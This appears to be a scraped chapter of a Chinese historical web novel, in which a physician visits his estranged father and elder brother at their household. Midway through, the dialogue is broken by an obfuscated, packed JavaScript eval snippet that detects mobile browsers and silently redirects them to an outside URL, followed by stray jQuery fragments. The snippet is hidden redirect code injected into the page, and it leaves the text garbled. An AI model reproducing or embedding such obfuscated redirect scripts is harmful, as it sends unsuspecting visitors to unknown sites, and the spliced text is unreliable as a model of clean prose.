清风送来萧萧秋瑟,轻飘飘地拂过屋子,恍若在静水中带起一阵波澜,连话音都沾惹上几分颤意。
“谢侍郎?”
李焉隅却已起了身。他抖了抖衣袍,锦纹宛如流云舒卷。
“是吏部左侍郎谢檐礼,谢家的长公子。我知道你素来不喜欢与朝堂中人来往,原想要推却了的,奈何他一再坚持。”
他看了谢攸一眼,才续道:
“谢府门第清贵,太傅昔年亦是雅正无双之人,终究不同于寻常官宦人家,还是交由你自行定夺罢。”
谢攸面具下的容色倏然褪尽,如初雪消融后,露出素瓷般的苍白。好在原本便是清冷模样,无甚血色,倒也看不出端倪。
秋风自窗隙潜入,轻悄地撩起他额前的几缕发丝,宛若故人温柔抚过。
谢太傅、谢檐礼,那是他血脉至亲的父亲与兄长。
是他十五年没有见过的家人。
往事如雾气泠泠漫上心头。
那年深冬,母亲拼尽最后一丝气力诞下他,之后便在风雪夜里撒手人寰。
谢太傅与夫人本是京城人人称羡的一对眷侣。自此之后,太傅终日独坐书房,一病不起,药石罔医。
谢攸便是在这般境地里,自小研读医书。又承蒙天赋,学有所成,在谢父榻前侍候了许多年。
谁料病情方才有些起色,书院案突发,谢攸只得留下药方,再给柳悯修留书一封,请他多多照料。
自此一别,岁月流转。往后种种,他便再也不知了。
神思恍惚间,李焉隅已行至门前。他身姿清挺,一只脚已迈过门槛,却又在廊檐下蓦然回身。
“忌虚白。”他轻声唤道,眉目间好似蓄起了浓浓秋雾。
谢攸抬眼望去,见对方眸光深深地看着自己,仿佛有未道尽的千言万语,最后全部敛去了,化作轻飘飘的一句:
“我让宁昼跟着你。”
话音落下,不待谢攸应答,他已转身,衣袂翩然,径直往宫里去了。
.
天边的云霭悄然散开,透出愈发明朗的阳光。谢攸自容府出来,身后跟了个伶俐的青年人。
“先生只当小的不存在就是。”宁昼躬着身子道。姿态虽是恭谨,奈何天性活泼,不过片刻便暴露了本性。
谢攸那日在马车上早已领教了他的聒噪。果然,他的“不存在”不过须臾,便忍不住开口:
“先生当真要去谢府?从前听殿下提起,先生极少替朝官诊病。纵然出诊,也是旁人上门求医,从没有让先生登府的先例。况且柳大人经常往谢府走动,太傅的病一向是他在照看的。”
宁昼今晨在容府外,目睹了柳执因负气而去。言下之意,是怕柳执因要因此更加不快了。
他没注意到谢攸晦暗不明的神色。待谢攸上了马车,宁昼扬鞭驱马,又絮絮叨叨起来:
“小的还听说,谢太傅近来已经大安了。不知侍郎大人为何非要请您过府……不过先生难得在京都逗留几日,家中有病人,想请您瞧上一瞧,也是常理。”
谢攸被吵得额角发胀,闭目倚在车壁小憩,没应车外人的话茬。
他实在是很累了。一日来诸事纷扰,几乎是以铺天盖地之势席卷而来,密不透风地将他包裹,没有能喘口气的时候。
眉眼间是一阵郁郁之色,疲惫中混着一丝怅惘,仿佛是不知所措极了。
那是一种……近乡情怯的感觉。
谢攸一时竟不知该以什么样的姿态踏入那处府邸。
是家么?十五年光阴倏忽而过,连父兄的容颜都在脑海中渐渐生疏模糊了。
他原本已决意离京。可即便听闻父亲病情好转,对柳执因的医术亦有把握,却终究还是无法置之度外,拂袖离去。
谢攸几乎有些自弃地想,这一桩接一桩的事,不如就随它去罢,行至何处便是何处。
若实在走不了……便也作罢。
如此思绪万千,不多时,马车便在谢府门前停驻。府邸清雅幽静,白墙黛瓦,檐角微微翘起,院中几竿翠竹探出墙头,在微风里轻轻摇曳。
谢攸递上名帖,门房连忙恭敬迎他入内。迈过门槛前,他转身对宁昼轻声道:“你在外面等我。”
府内亭台错落,曲径通幽。有玲珑假山位于侧畔,其间细流淙淙,注入一池寒潭。
阖府上下并无奢靡之气。一草一木、一石一水,却皆见匠心。
一道身影自廊下疾步而来。那人身着绯色官袍,胸前补子乃青金色孔雀,是正三品的绣纹。
他身形修长,眉眼与谢攸有五六分相似,行动间衣袖生风,自有久居庙堂的气度。
谢檐礼的脚步在离他三五步处倏然停驻。
风过回廊,竹影婆娑,在官袍上投下斑驳的痕迹。他凝眸望着谢攸,眼底似有云雾缭绕,深不见底。
谢攸见着他的瞬间,心里“咯噔”一声,难掩的心绪如同潮水一样翻涌上心头。
小时候,谢父常年闭门不出,即便是身子稍好些时,对他也总是淡淡的,说不上憎恶,却也算不得亲厚,更是少有过问。
他是被谢檐礼一手养大的。
谢檐礼只年长他七岁,原不是会照料孩子的年纪,更不喜欢小孩。却耐着性子,一点一点学着如何看顾这个弟弟,从最初的手忙脚乱,到后来光听哭声便知他是饿了,还是仅仅想要人陪。
谢攸会叫的第一个人,不是父亲,而是哥哥。
再大一些,谢檐礼入宫,成了如今昭宁帝、昔日太子的伴读。谢攸一句想学医,他便去求太子,寻来最好的老师,将谢攸送到了柳悯修的门下。
长兄如父如母。在谢攸为数不多的记忆里,对于“家”之一字的念想,唯有一个谢檐礼而已。
这一别太久。而故人重逢,最难忍的,便是相见的一刹那。
他是真的很想念兄长。
可眼下,他只能将万千心绪尽数压下,勉力让声音听起来平静无波,率先合袖,行了一个端正而生疏的揖礼:“谢大人。”
这便是不打算相认了。
谢檐礼眸光微动,亦从容还了一礼,言辞客气而周至:
“有劳忌先生亲临寒舍。家父久病缠身,一直想请先生诊视,只可惜年事已高,实在无缘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411406|184595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上门求见。今日偶然得遇晋王殿下,在下厚颜求了个人情,未曾想先生恰在京都,实属我之幸事。”
他说着,又施了一个更大的礼。
“只是家父如今睡的时辰多,方才歇下。”
谢攸微微颔首,敛去眼底的情绪:“无碍,我去看看。”
穿过假山,步入后院,二人一前一后进了内堂。竹榻上安然卧着一老者,鬓发已斑白,仪容却是极其端方的,即便沉沉睡去,眉宇间仍存一股清正之气。
谢攸默了默,缓步上前,轻轻搭上了那只枯瘦的手腕。
指尖相触的刹那,他心中不禁掠过一丝讶异。
他原以为,宁昼所谓的“大安”,不过是暂且稳定了病情。可他指下的脉象平稳从容,已如去病抽了丝,当真是有要大好之势。
谢攸又换过另一只手,细细切过脉,这才悄无声息地退了出来。
他将脉象仔细说与谢檐礼,又轻声问道:“如今太傅在用什么药?”
谢檐礼递来一纸药方。
谢攸垂眸草草一瞥:“这却不像柳大人的方子。”
谢檐礼不禁笑道。
“不瞒先生,我有一胞弟,亦通医理,这方子原是他所拟。只是柳大人来诊过后,便另换了方子。”
说着,又将另一张药方递了过来。
谢攸愣了一愣,不由将先前那张方子又细细看了一遍。
是了,这用药思路确有他的影子……却并非他上山前留下的那一张。这张方子更为大胆精妙,有几处药材的配伍甚至超乎他的预料,令人击节。
无暇多思,他不动声色地记下了药方内容,又细看了柳执因的方子,也稳妥周全,无甚纰漏。
谢攸沉默片刻。
他并不常驻京都,甚至说,不知道日后能否还会再回来。柳执因的方子已然够用,既然他常来谢府请脉,自己还是不宜过多插手,引他不悦。
思及此,他指尖点了点那张属于自己的方子,轻声道:“依柳大人的方子就好,这一张……不必再用了。”
谢檐礼微微颔首,将两张方子都仔细折好,纳入袖中,这才引他到一旁看茶。茶烟袅袅升起,隔在两人之间,将眉眼都熏得朦朦胧胧的。
他执起茶壶,为谢攸斟了一杯,缓声道:
“先生是从容指挥使府上来的吧,容大人可还安好?”
谢攸摸上茶盏的手微微一顿,不愿深谈,只说:“已无大碍。”
谢檐礼闻言又是一笑:
“那便好。容大人身负重任,又总是多病,近来连日告假,陛下心中甚是牵挂。”
他的目光转向窗外,望着京城那片被秋雨洗过、澄澈如碧玉的天空,静默了片刻。回神时,又自然地执壶,将谢攸面前那杯见底的茶汤续满。
水声潺潺,伴随着他的话语,轻缓地落入杯中:
“这人世间的取舍,有时便是如此。有人为了啜饮一口滚烫的新沏香茗,会先决意放下手中这杯已温凉的。”
他的声音温和依旧,目光轻轻地落在了谢攸身上。
“先生行事,还望万事当心。”